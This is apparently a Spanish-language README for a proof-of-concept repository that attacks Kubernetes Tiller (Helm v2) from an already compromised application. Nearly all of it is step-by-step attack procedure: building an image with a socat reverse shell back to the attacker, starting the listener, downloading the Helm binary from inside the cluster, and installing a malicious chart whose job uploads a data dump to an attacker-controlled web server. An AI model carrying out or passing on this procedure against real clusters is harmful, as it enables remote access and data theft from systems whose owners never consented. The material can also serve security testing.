Este repositorio contiene los recursos necesarios para desplegar pruebas de concepto utilizando Tiller como vector/target de ataque.
El startpoint es una aplicación previamente vulnerada. Para simular el caso, en el folder /app
se encuentran los archivos requeridos para desplegar una imagen que establecerá un reverse-shell contra la IP del atacante.
- Editar el archivo
/app/socat-shell.sh
indicando address:port del atacante en el campotcp
. - Utilizar como build context el folder
/app
. Pushear la imagen obtenida a DockerHub. - Editar el archivo
/app/pod.yaml
indicando repository/image:tag correspondiente en el campoimage
. - Iniciar un listener en el host atacante, utilizando el valor port declarado en
/app/socat-shell.sh
:
socat file:`tty`,raw,echo=0 tcp-listen:port
- Desplegar un pod utilizando el archivo
/app/pod.yaml
. - Iniciar un webserver local para recibir el dump de datos, ej: mayth/simple-upload-server.
- Editar el archivo
/templates/job.yaml
indicando URL del webserver del atacante en el campocommand
. - Crear y publicar un chart de Helm utilizando los manifiestos incluídos en el folder
/templates
.
Desde el reverse-shell, ejecutar los siguientes comandos:
export HELM_HOME=$(pwd)/helmhome
export HELM_HOST=tiller-deploy.kube-system.svc.cluster.local:44134 #Default `tiller.svc`
export VER=v2.10.0 #Indica versión de Helm
curl -L "https://storage.googleapis.com/kubernetes-helm/helm-${VER}-linux-amd64.tar.gz" | tar xz --strip-components=1 -C . linux-amd64/helm #Descarga binario de Helm
./helm init --client-only #Inicia client-side de Helm
./helm repo add `chart-name` `chart-url` #Reemplazar por los valores obtenidos al momento de publicar el chart
./helm repo update
./helm install -n tiller-test `repository/chart-name` #Reemplazar por los valores obtenidos al momento de publicar el chart
./helm delete --purge tiller-test #Elimina workloads
Happy Helming!